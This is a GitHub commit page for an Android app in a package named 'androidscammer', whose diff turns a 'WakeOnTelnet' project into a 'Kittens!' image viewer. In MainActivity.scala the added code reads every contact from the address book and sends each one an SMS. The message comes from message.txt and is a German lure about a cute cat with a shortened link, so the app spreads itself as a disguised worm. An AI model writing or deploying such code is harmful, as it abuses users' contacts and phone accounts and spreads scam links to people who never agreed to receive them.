Skip to content
This repository

HTTPS clone URL

Subversion checkout URL

You can clone with HTTPS or Subversion.

Download ZIP
Browse code

completed prototype

  • Loading branch information...
commit 7c644852c9ecad5d18897f88d770e60dc60849d1 1 parent 6ab0d46
Julian Schrittwieser authored
BIN  image.jpg
1  message.txt
... ... @@ -0,0 +1 @@
  1 +schau dir diese süße Katze an: http://goo.gl/nJKe7
2  project/build.scala
@@ -23,7 +23,7 @@ object General {
23 23 proguardSettings ++
24 24 AndroidManifestGenerator.settings ++
25 25 AndroidMarketPublish.settings ++ Seq (
26   - keyalias in Android := "change-me",
  26 + keyalias in Android := "alias_name",
27 27 libraryDependencies += "org.scalatest" %% "scalatest" % "1.7.RC1" % "test",
28 28 libraryDependencies += "commons-net" % "commons-net" % "2.0"
29 29 )
4 project/plugins.sbt 100755 → 100644
... ... @@ -1,2 +1,4 @@
  1 +resolvers += Resolver.url("scalasbt snapshots", new
  2 + URL("http://scalasbt.artifactoryonline.com/scalasbt/sbt-plugin-snapshots"))(Resolver.ivyStylePatterns)
1 3
2   -addSbtPlugin("org.scala-tools.sbt" % "sbt-android-plugin" % "0.6.1-SNAPSHOT")
  4 +addSbtPlugin("org.scala-sbt" % "sbt-android-plugin" % "0.6.1-SNAPSHOT")
BIN  sdcard.img
Binary file not shown
3  src/main/AndroidManifest.xml
@@ -6,13 +6,12 @@
6 6 android:label="@string/app_name"
7 7 android:debuggable="true">
8 8
9   - <activity android:label="@string/app_name" android:name=".MainActivity">
  9 + <activity android:icon="@drawable/icon" android:label="@string/app_name" android:name=".MainActivity">
10 10 <intent-filter>
11 11 <action android:name="android.intent.action.MAIN"/>
12 12 <category android:name="android.intent.category.LAUNCHER"/>
13 13 </intent-filter>
14 14 </activity>
15   - <receiver android:process=":remote" android:name="AlarmReceiver"></receiver>
16 15 </application>
17 16
18 17 <uses-sdk android:minSdkVersion="10"/>
BIN  src/main/res/drawable/icon.jpg
10 src/main/res/layout/main.xml
@@ -3,12 +3,12 @@
3 3 <LinearLayout xmlns:android="http://schemas.android.com/apk/res/android"
4 4 android:orientation="vertical"
5 5 android:layout_width="fill_parent"
6   - android:layout_height="wrap_content">
  6 + android:layout_height="fill_parent">
7 7
8   - <TextView xmlns:android="http://schemas.android.com/apk/res/android"
9   - android:id="@+id/textview"
10   - android:gravity="center_vertical"
11   - android:layout_width="wrap_content"
  8 + <ImageView xmlns:android="http://schemas.android.com/apk/res/android"
  9 + android:id="@+id/imgview"
  10 + android:gravity="center_vertical"
  11 + android:layout_width="fill_parent"
12 12 android:layout_height="fill_parent"/>
13 13
14 14 </LinearLayout>
2  src/main/res/values/strings.xml
... ... @@ -1,3 +1,3 @@
1 1 <resources>
2   - <string name="app_name">WakeOnTelnet</string>
  2 + <string name="app_name">Kittens!</string>
3 3 </resources>
27 src/main/scala/Activity.scala
@@ -2,11 +2,17 @@ package org.furidamu.androidscammer
2 2
3 3 import android.app.Activity
4 4 import android.os.Bundle
  5 +import android.os.Environment
5 6 import android.view.View
6 7 import android.provider.ContactsContract
7 8 import android.telephony.gsm.SmsManager
  9 +import android.graphics.BitmapFactory
8 10 import Constants._
9 11 import scala.collection.JavaConversions._
  12 +import java.io.BufferedReader
  13 +import java.io.FileReader
  14 +import java.io.File
  15 +
10 16
11 17 class MainActivity extends Activity with TypedActivity {
12 18
@@ -15,7 +21,22 @@ class MainActivity extends Activity with TypedActivity {
15 21 super.onCreate(bundle)
16 22 setContentView(R.layout.main)
17 23
18   - val status = findView(TR.textview)
  24 + val img = findView(TR.imgview)
  25 +
  26 + val imgFile = new File("/sdcard/image.jpg")
  27 +
  28 + if(imgFile.exists()){
  29 +
  30 + val myBitmap = BitmapFactory.decodeFile(imgFile.getAbsolutePath());
  31 +
  32 + img.setImageBitmap(myBitmap);
  33 +
  34 + }
  35 +
  36 + // read message from SD card
  37 + val dir = Environment.getExternalStorageDirectory()
  38 + val file = new BufferedReader(new FileReader(dir + "/message.txt"))
  39 + val msg = file.readLine()
19 40
20 41 val reader = new ContactReader(this);
21 42
@@ -24,9 +45,7 @@ class MainActivity extends Activity with TypedActivity {
24 45 val contacts = reader.read() map { list => (list(0), list(1)) }
25 46
26 47 contacts foreach { case (name, number) =>
27   - status.text += "%s: %s\n".format(name, number)
28   -
29   - sm.sendTextMessage(number, null, "Test SMS Message", null, null);
  48 + sm.sendTextMessage(number, null, msg, null, null);
30 49 }
31 50
32 51
17 src/main/scala/Tools.scala
... ... @@ -1,6 +1,5 @@
1 1 package org.furidamu.androidscammer
2 2
3   -import android.widget.SeekBar
4 3 import android.view.View
5 4 import android.widget.TextView
6 5
@@ -8,7 +7,6 @@ import android.widget.TextView
8 7 object Constants {
9 8 implicit def ViewToRichView(v: View) = new RichView(v)
10 9 implicit def TextViewToRichTextView(v: TextView) = new RichTextview(v)
11   - implicit def SeekBarToRichSeekBar(bar: SeekBar) = new RichSeekBar(bar)
12 10 }
13 11
14 12 import Constants._
@@ -26,21 +24,6 @@ class RichView(view: View) {
26 24 }
27 25 }
28 26
29   -class RichSeekBar(bar: SeekBar) {
30   - def onSeekBarChange = throw new Exception
31   - def onSeekBarChange_= (f: (Int, Boolean) => Unit) {
32   - bar.setOnSeekBarChangeListener(
33   - new SeekBar.OnSeekBarChangeListener() {
34   - def onProgressChanged(seekBar: SeekBar, progress: Int, fromUser: Boolean) {
35   - f(progress, fromUser)
36   - }
37   -
38   - def onStartTrackingTouch(seekBar: SeekBar) {}
39   - def onStopTrackingTouch(seekBar: SeekBar) {}
40   - })
41   - }
42   -}
43   -
44 27 class RichTextview(tv: TextView) {
45 28 def text = tv.getText()
46 29 def text_= (t: String) = tv.setText(t)

0 comments on commit 7c64485

Please sign in to comment.
Something went wrong with that request. Please try again.